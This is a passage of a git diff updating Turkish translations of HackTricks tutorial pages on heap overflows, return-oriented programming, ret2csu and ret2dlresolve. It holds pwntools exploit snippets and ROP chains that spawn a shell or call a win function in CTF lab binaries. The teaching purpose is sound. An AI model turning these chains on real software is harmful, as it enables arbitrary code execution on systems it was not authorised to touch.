heap overflow durumunda, kullanılan bellek lineer değildir, **ayrılan parçalar genellikle bellek içinde ayrı konumlarda** (birbirinin yanında değil) bulunur çünkü **boyutlarına göre ayrılan alanları** ayıran **bins ve zonlar** vardır ve **önceki serbest bellek kullanılır** yeni parçalar ayırmadan önce. **Bir heap overflow ile çarpışacak nesneyi bilmek karmaşıktır.** Bu nedenle, bir heap overflow bulunduğunda, **istenen nesnenin, overflow olabilecek nesnenin yanında bellek içinde olmasını sağlamak için güvenilir bir yol bulmak** gerekir. -Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir, örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılır. Yazıda, iOS çekirdeğinde bir alanın bellek parçalarını saklamak için bellek kalmadığında, bir çekirdek sayfası ile genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçalar bu saldırıların istismarını zorlaştırmak için rastgele bir şekilde kullanılır). +Bunun için kullanılan tekniklerden biri **Heap Grooming**'dir, örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılır. Yazıda, iOS çekirdeğinde bir alanın bellek parçalarını depolamak için bellek kalmadığında, bir çekirdek sayfası ile genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçalar bu saldırıların istismarını zorlaştırmak için rastgele bir şekilde kullanılır). -Bu nedenle, önceki yazıda bir heap overflow gerçekleştiğinde, overflow olan nesneyi bir kurban nesnesi ile çarpışmaya zorlamak için, **tüm serbest parçaların doldurulmasını ve yeni bir sayfanın oluşturulmasını sağlamak için birkaç `kalloc` birkaç iş parçacığı tarafından zorlanır.** +Bu nedenle, önceki yazıda bir heap overflow gerçekleştiğinde, overflow olan nesneyi bir kurban nesnesi ile çarpışmaya zorlamak için, birkaç **`kalloc`'un birkaç iş parçacığı tarafından zorlanması gerekir, böylece tüm serbest parçaların doldurulması ve yeni bir sayfanın oluşturulması sağlanır**. -Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach portu ile ilişkili dışarıda ayrılan bellek** ideal bir adaydır. Mesajın boyutunu ayarlayarak, `kalloc` ayrımının boyutunu tam olarak belirlemek mümkündür ve ilgili mach portu yok edildiğinde, ilgili ayrım hemen `kfree`'ye geri verilecektir. +Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach portu ile ilişkili dışarıdan ayrılan bellek** ideal bir adaydır. Mesajın boyutunu ayarlayarak, `kalloc` ayrımının boyutunu tam olarak belirlemek mümkündür ve ilgili mach portu yok edildiğinde, ilgili ayrım hemen `kfree`'ye geri verilecektir. -Sonra, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, son giren ilk çıkar sırasına göre elemanları serbest bırakır**, bu da temelde bazı yer tutucular serbest bırakıldığında ve istismar, overflow'a karşı savunmasız nesneyi ayarlamaya çalışırken birkaç kurban nesnesi ayarlamaya çalıştığında, bu nesnenin bir kurban nesnesinden sonra gelme olasılığının yüksek olduğu anlamına gelir. +Sonra, bu yer tutuculardan bazıları **serbest bırakılabilir**. **`kalloc.4096` serbest listesi, son giren ilk çıkar sırasına göre elemanları serbest bırakır**, bu da temelde bazı yer tutucular serbest bırakıldığında ve istismar, overflow'a karşı savunmasız nesneyi ayarlamaya çalışırken birkaç kurban nesnesi ayarlamaya çalıştığında, bu nesnenin bir kurban nesnesi tarafından takip edilme olasılığının yüksek olduğu anlamına gelir. ### Örnek libc -[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) bir temel Heap overflow emülasyonu bulmak mümkündür; bu emülasyon, bir sonraki parçanın prev in use bitini ve prev boyutunun konumunu üzerine yazarak **kullanılan bir parçayı konsolide etmenin** (kullanılmamış gibi düşünmesini sağlayarak) ve **sonra tekrar ayırmanın** mümkün olduğunu gösterir; böylece farklı bir işaretçide kullanılan verileri de üzerine yazma imkanı sağlar. +[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) bir heap overflow emülasyonu bulmak mümkündür; bu emülasyon, bir sonraki parçanın prev in use bitini ve prev boyutunun konumunu üzerine yazarak **kullanılan bir parçayı konsolide etmenin** (kullanılmamış gibi düşünmesini sağlayarak) ve **sonra tekrar ayırmanın** mümkün olduğunu gösterir; böylece farklı bir işaretçide kullanılan verileri de üzerine yazma imkanı sağlar. -[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) adlı başka bir örnek, bir **heap overflow**'un istismar edilebileceği çok temel bir CTF örneğini göstermektedir; burada **bayrağı almak için** kazanan fonksiyonu çağırmak mümkündür. +[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) örneği, bir **heap overflow**'un istismar edilebileceği çok temel bir CTF örneğini göstermektedir; burada **bayrağı almak için** kazanan fonksiyonu çağırmak mümkündür. -[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) örneğinde, bir buffer overflow istismar edilerek **yakın bir parçaya bir adresin üzerine yazılmasının** mümkün olduğu gösterilmektedir; burada **kullanıcıdan rastgele verilerin** yazılacağı bir adres bulunmaktadır. +[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) örneğinde, bir buffer overflow istismar edilerek **yakın bir parçaya bir adresin üzerine yazılabileceği** gösterilmektedir; burada **kullanıcıdan rastgele verilerin** yazılacağı bir adres bulunmaktadır. ### Örnek ARM64 -[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, yürütülecek bir komutun overflow olan parçanın sonraki parçasında saklandığı bir heap overflow örneği bulabilirsiniz. Böylece, yürütülen komutu, aşağıdaki gibi basit bir istismar ile üzerine yazarak değiştirmek mümkündür: +Sayfada [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) bir heap overflow örneği bulabilirsiniz; burada yürütülecek bir komut, overflow olan parçanın sonraki parçasında depolanmaktadır. Bu nedenle, yürütülen komutu, kolay bir istismar ile üzerine yazarak değiştirmek mümkündür: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` @@ -43,6 +43,6 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - Bir Heap Overflow elde etmek için bir Integer Overflow zafiyetini kullanıyoruz. -- Kod yürütmesi elde etmek için `system` gibi bir fonksiyonu ayarlamak amacıyla taşan parçanın içindeki bir `struct` içindeki bir fonksiyonun işaretçilerini bozuluyoruz. +- Kod yürütmesi elde etmek için taşan parçanın içindeki bir `struct` içindeki bir işlevin işaretçilerini bozarız ve `system` gibi bir işlev ayarlarız. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 23b264e19..42faa7cd8 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -4,40 +4,40 @@ ## **Temel Bilgiler** -**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini aşmak için kullanılan ileri düzey bir istismar tekniğidir. Bir saldırgan, shellcode enjekte etmek ve çalıştırmak yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten mevcut olan kod parçalarını, yani **"gadgets"** kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve kayıtlar arasında veri taşımak veya aritmetik işlemler yapmak gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan keyfi işlemler gerçekleştirmek için bir yük oluşturabilir ve böylece NX/DEP korumalarını etkili bir şekilde aşabilir. +**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini aşmak için kullanılan ileri düzey bir istismar tekniğidir. Bir saldırgan, shellcode enjekte etmek ve çalıştırmak yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten mevcut olan kod parçalarını, yani **"gadgets"** kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve verileri registerlar arasında taşımak veya aritmetik işlemler yapmak gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan keyfi işlemler gerçekleştirmek için bir yük oluşturabilir ve böylece NX/DEP korumalarını etkili bir şekilde aşabilir. ### ROP Nasıl Çalışır -1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir tampon taşması istismarı ile yığın üzerindeki kaydedilmiş dönüş adresini geçersiz kılmakla yapılır. +1. **Kontrol Akışını Ele Geçirme**: İlk olarak, bir saldırgan bir programın kontrol akışını ele geçirmelidir; bu genellikle bir buffer overflow kullanarak stack'teki kaydedilmiş dönüş adresini yazmakla yapılır. 2. **Gadget Zincirleme**: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget'ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları ayarlamayı, fonksiyonu çağırmayı (örneğin, `system("/bin/sh")`) ve gerekli temizlik veya ek işlemleri yönetmeyi içerebilir. 3. **Yükün Çalıştırılması**: Zayıf fonksiyon döndüğünde, meşru bir konuma dönmek yerine gadget zincirini çalıştırmaya başlar. ### Araçlar -Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools**'tan ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) bulunabilir. +Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) veya doğrudan **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) kullanılarak bulunabilir. ## x86 Örneğinde ROP Zinciri ### **x86 (32-bit) Çağrı Konvansiyonları** -- **cdecl**: Çağrıyı yapan yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.** -- **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon yığını temizlemekten sorumludur. +- **cdecl**: Çağrıyı yapan stack'i temizler. Fonksiyon argümanları stack'e ters sırayla (sağdan sola) itilir. **Argümanlar sağdan sola doğru stack'e itilir.** +- **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon stack'i temizlemekten sorumludur. ### **Gadget Bulma** Öncelikle, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır: -- `pop eax; ret`: Bu gadget, yığının en üstündeki değeri `EAX` kaydına alır ve ardından döner, böylece `EAX`'ı kontrol etmemizi sağlar. -- `pop ebx; ret`: Yukarıdaki gibi, ancak `EBX` kaydı için, `EBX` üzerinde kontrol sağlar. +- `pop eax; ret`: Bu gadget, stack'in en üstündeki değeri `EAX` register'ına alır ve ardından döner, böylece `EAX`'ı kontrol etmemizi sağlar. +- `pop ebx; ret`: Yukarıdaki gibi, ancak `EBX` register'ı için, `EBX` üzerinde kontrol sağlar. - `mov [ebx], eax; ret`: `EAX`'taki değeri `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından döner. Bu genellikle **write-what-where gadget** olarak adlandırılır. - Ayrıca, `system()` fonksiyonunun adresine de sahibiz. ### **ROP Zinciri** -**pwntools** kullanarak, `system('/bin/sh')`'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin: +**pwntools** kullanarak, `system('/bin/sh')`'yi çalıştırmayı hedefleyerek ROP zinciri yürütmesi için stack'i aşağıdaki gibi hazırlarız, zincirin nasıl başladığına dikkat edin: 1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı) -2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/)) +2. `system` fonksiyonunun adresi (ASLR'nin devre dışı bırakıldığını ve libc'nin bilindiğini varsayarak, daha fazla bilgi için [**Ret2lib**](ret2lib/index.html)) 3. `system()`'den dönüş adresi için yer tutucu 4. `"/bin/sh"` dizesinin adresi (system fonksiyonu için parametre) ```python @@ -77,22 +77,22 @@ p.interactive() ### **x64 (64-bit) Çağrı Konvansiyonları** -- **System V AMD64 ABI** çağrı konvansiyonunu Unix benzeri sistemlerde kullanır; burada **ilk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir. +- **Unix benzeri sistemlerde** **System V AMD64 ABI** çağrı konvansiyonu kullanılır; burada **ilk altı tam sayı veya işaretçi argümanı `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** kayıtlarında iletilir. Ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir. - **Windows x64** çağrı konvansiyonu, ilk dört tam sayı veya işaretçi argümanı için `RCX`, `RDX`, `R8` ve `R9` kullanır; ek argümanlar yığında iletilir. Dönüş değeri `RAX`'a yerleştirilir. - **Kayıtlar**: 64-bit kayıtlar `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` ve `R8`'den `R15`'e kadar içerir. #### **Gadget'ları Bulma** -Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()**'e argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz: +Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()** fonksiyonuna argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz: - **pop rdi; ret**: Yığının en üstündeki değeri **RDI**'ye alır ve ardından döner. **system()** için argümanımızı ayarlamak için gereklidir. -- **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için faydalıdır. +- **ret**: Basit bir dönüş, bazı senaryolar için yığın hizalaması için faydalıdır. Ve **system()** fonksiyonunun adresini bildiğimizi biliyoruz. ### **ROP Zinciri** -Aşağıda, **pwntools** kullanarak **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır: +Aşağıda, **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurmak ve yürütmek için **pwntools** kullanarak bir örnek verilmiştir: ```python from pwn import * @@ -129,13 +129,13 @@ p.interactive() ``` Bu örnekte: -- **`pop rdi; ret`** gadget'ını **`RDI`**'yi **`"/bin/sh"`** adresine ayarlamak için kullanıyoruz. +- **`pop rdi; ret`** gadget'ını kullanarak **`RDI`**'yi **`"/bin/sh"`** adresine ayarlıyoruz. - **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, zincirde **system()**'in adresi ile. - Hedef ortamın gerektirmesi durumunda hizalama için **`ret_gadget`** kullanılır, bu da **x64**'te işlevleri çağırmadan önce doğru yığın hizalamasını sağlamak için daha yaygındır. ### Yığın Hizalaması -**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16 bayt hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için **SSE instructions** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Yığın düzgün hizalanmadığında (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'inde başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin. +**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16-byte hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için **SSE instructions** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Yığın düzgün hizalanmadığında (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'inde başarısız olur. Bunu düzeltmek için, **system**'i ROP zincirinizde çağırmadan önce basitçe bir **ret gadget** ekleyin. ## x86 ile x64 arasındaki ana fark @@ -154,21 +154,21 @@ Bu bilgi için aşağıdaki sayfayı kontrol edin: ## ROP'a Karşı Koruma -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, gadget'ların adreslerinin yürütme sırasında değişmesi nedeniyle ROP kullanımını zorlaştırır. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Bir BOF durumunda, ROP zincirini kötüye kullanmak için dönüş işaretçilerini yazmak için yığın kanaryasını atlatmak gerekir. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Bu korumalar, gadget'ların adreslerinin yürütme sırasında değişmesi nedeniyle ROP kullanımını zorlaştırır. +- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Bir BOF durumunda, ROP zincirini kötüye kullanmak için dönüş işaretçilerini geçersiz kılmak amacıyla yığın kanaryasını atlatmak gerekir. - **Gadget Eksikliği**: Yeterli gadget yoksa bir ROP zinciri oluşturmak mümkün olmayacaktır. ## ROP Tabanlı Teknikler ROP'un, keyfi kod yürütmek için sadece bir teknik olduğunu unutmayın. ROP'a dayalı olarak birçok Ret2XXX tekniği geliştirilmiştir: -- **Ret2lib**: ROP kullanarak, yüklenmiş bir kütüphaneden keyfi işlevleri keyfi parametrelerle çağırmak (genellikle `system('/bin/sh')` gibi). +- **Ret2lib**: Keyfi parametrelerle yüklü bir kütüphaneden keyfi işlevleri çağırmak için ROP kullanın (genellikle `system('/bin/sh')` gibi bir şey). {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: ROP kullanarak bir syscall'a, örneğin `execve`, çağrı hazırlamak ve keyfi komutlar yürütmek. +- **Ret2Syscall**: ROP kullanarak bir syscall'a, örneğin `execve`, çağrı hazırlamak ve keyfi komutlar yürütmek için kullanın. {{#ref}} rop-syscall-execv/ @@ -184,7 +184,7 @@ rop-syscall-execv/ - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) -- 64 bit, Pie ve nx etkin, kanaryasız, RIP'i yalnızca yığındaki bir sonraki adrese geri dönmek amacıyla bir `vsyscall` adresi ile yazma +- 64 bit, Pie ve nx etkin, kanaryasız, RIP'i yalnızca bayrağı sızdıran işlevin bir kısmına geri dönmek amacıyla bir `vsyscall` adresi ile geçersiz kılma - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, ASLR yok, yığını çalıştırılabilir hale getirmek ve yığında shellcode'a atlamak için ROP gadget diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index b5d346c50..6ecc61657 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -8,13 +8,13 @@ **ret2csu**, bir programın kontrolünü ele almaya çalışırken, programın davranışını manipüle etmek için genellikle kullandığınız **gadgets**'ları bulamadığınızda kullanılan bir hacking tekniğidir. -Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kurduğunu yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak hareket edebilecek bazı gizli mücevherler bulunmaktadır. +Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik fonksiyonlara sahiptir. Bu fonksiyonlar arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli değerler bulunmaktadır. ### \_\_libc_csu_init'deki Sihirli Gadgets **`__libc_csu_init`** içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır: -1. İlk dizi, birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerleri ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir. +1. İlk dizi, birkaç kaydın (rbx, rbp, r12, r13, r14, r15) değerlerini ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir. ```armasm pop rbx; pop rbp; @@ -35,7 +35,7 @@ mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` -3. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** sağlamanız gerekecek: +3. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** yerine getirmeniz gerekecek: ```armasm mov rdx, r15; mov rsi, r14; @@ -60,12 +60,12 @@ gef➤ search-pattern 0x400560 [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- 0x600e38 - 0x600e44 → "\x60\x05\x40[...]" ``` -- `rbp` ve `rbx` aynı değere sahip olmalıdır, aksi takdirde atlama gerçekleşmez. -- Dikkate almanız gereken bazı atlanan pops var. +- `rbp` ve `rbx` aynı değere sahip olmalıdır, aksi takdirde atlama gerçekleşir. +- Dikkate almanız gereken bazı atlanmış pop'lar vardır. ## RDI ve RSI -**`rdi`** ve **`rsi`**'yi ret2csu gadget'ından kontrol etmenin bir başka yolu, belirli offset'lere erişmektir: +**`rdi`** ve **`rsi`**'yi ret2csu gadget'ından kontrol etmenin bir diğer yolu, belirli ofsetlere erişmektir:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

@@ -79,14 +79,14 @@ brop-blind-return-oriented-programming.md ### Çağrıyı Kullanma -Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` register'larında parametre olarak belirli değerlere ihtiyacınız var. Normalde, bu register'ları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız. +Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında parametre olarak belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız. İşte burada **ret2csu** devreye giriyor: -1. **Register'ları Ayarlayın**: İlk sihirli gadget'ı kullanarak stack'ten değerleri alıp rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e yerleştirin. -2. **İkinci Gadget'ı Kullanın**: Bu register'lar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` içine yerleştirebilirsiniz. +1. **Kayıtları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın üzerindeki değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop'layın. +2. **İkinci Gadget'ı Kullanın**: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` adresine yerleştirebilirsiniz. -Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son exploit'tir: +Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son istismar: ```python from pwn import * @@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` > [!WARNING] -> Önceki istismarının bir **`RCE`** gerçekleştirmek için tasarlanmadığını, sadece **`win`** adlı bir fonksiyonu çağırmak için tasarlandığını (ROP zincirinde `win` adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak `0xdeadbeefcafed00d` değerini kullandığını unutmayın. +> Önceki exploit'in bir **`RCE`** gerçekleştirmek için tasarlanmadığını, sadece **`win`** adlı bir fonksiyonu çağırmak için tasarlandığını (ROP zincirinde `win` adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak `0xdeadbeefcafed00d` değerini kullandığını unutmayın. ### Çağrıyı atlayarak ret'e ulaşma -Aşağıdaki istismar, **ret2csu**'nun kullanıldığı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) çıkarılmıştır, ancak çağrıyı kullanmak yerine, **karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşmaktadır:** +Aşağıdaki exploit, **ret2csu**'nun kullanıldığı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) çıkarılmıştır, ancak çağrıyı kullanmak yerine, **karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşmaktadır:** ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -167,6 +167,6 @@ target.interactive() ``` ### Neden Sadece libc Kullanmayalım? -Genellikle bu durumlar da [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) ile savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilen parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bunları doğrudan ayarlamak için gadget bulmak mümkün olmayabilir**. +Genellikle bu durumlar da [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html) ile savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilecek parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, `write()` fonksiyonu üç parametre gerektirir ve **bunların hepsini doğrudan ayarlamak için gadget bulmak mümkün olmayabilir**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 951cd216b..7e7cad51f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -8,12 +8,12 @@ **`_dl_runtime_resolve`** fonksiyonu, belirtilen sembolü **çözmek** için ihtiyaç duyduğu bazı yapıların yığın referanslarını alır. -Bu nedenle, dinamik bağlantılı çözümlemenin istenen sembolü (örneğin **`system`** fonksiyonu) çözmesi için **tüm bu yapıları sahtelemek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür. +Bu nedenle, dinamik bağlantılı çözümlemenin istenen sembolü (örneğin **`system`** fonksiyonu) çözmesi için **tüm bu yapıları sahte hale getirmek** mümkündür ve bunu yapılandırılmış bir parametre ile çağırmak (örneğin **`system('/bin/sh')`**) mümkündür. -Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahtelenir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda saklanmak üzere okunur ve ardından ROP zinciri **`_dl_runtime_resolve`** çağrısı yaparak devam eder, sahte yapılardaki **`system`** adresini **çözmesini** sağlar ve bu adresi **`'/bin/sh'`** adresi ile çağırır. +Genellikle, tüm bu yapılar, yazılabilir bir bellek üzerinde **`read`** çağrısı yapan bir **ilk ROP zinciri** oluşturarak sahte hale getirilir, ardından **yapılar** ve **`'/bin/sh'`** dizesi, bilinen bir konumda 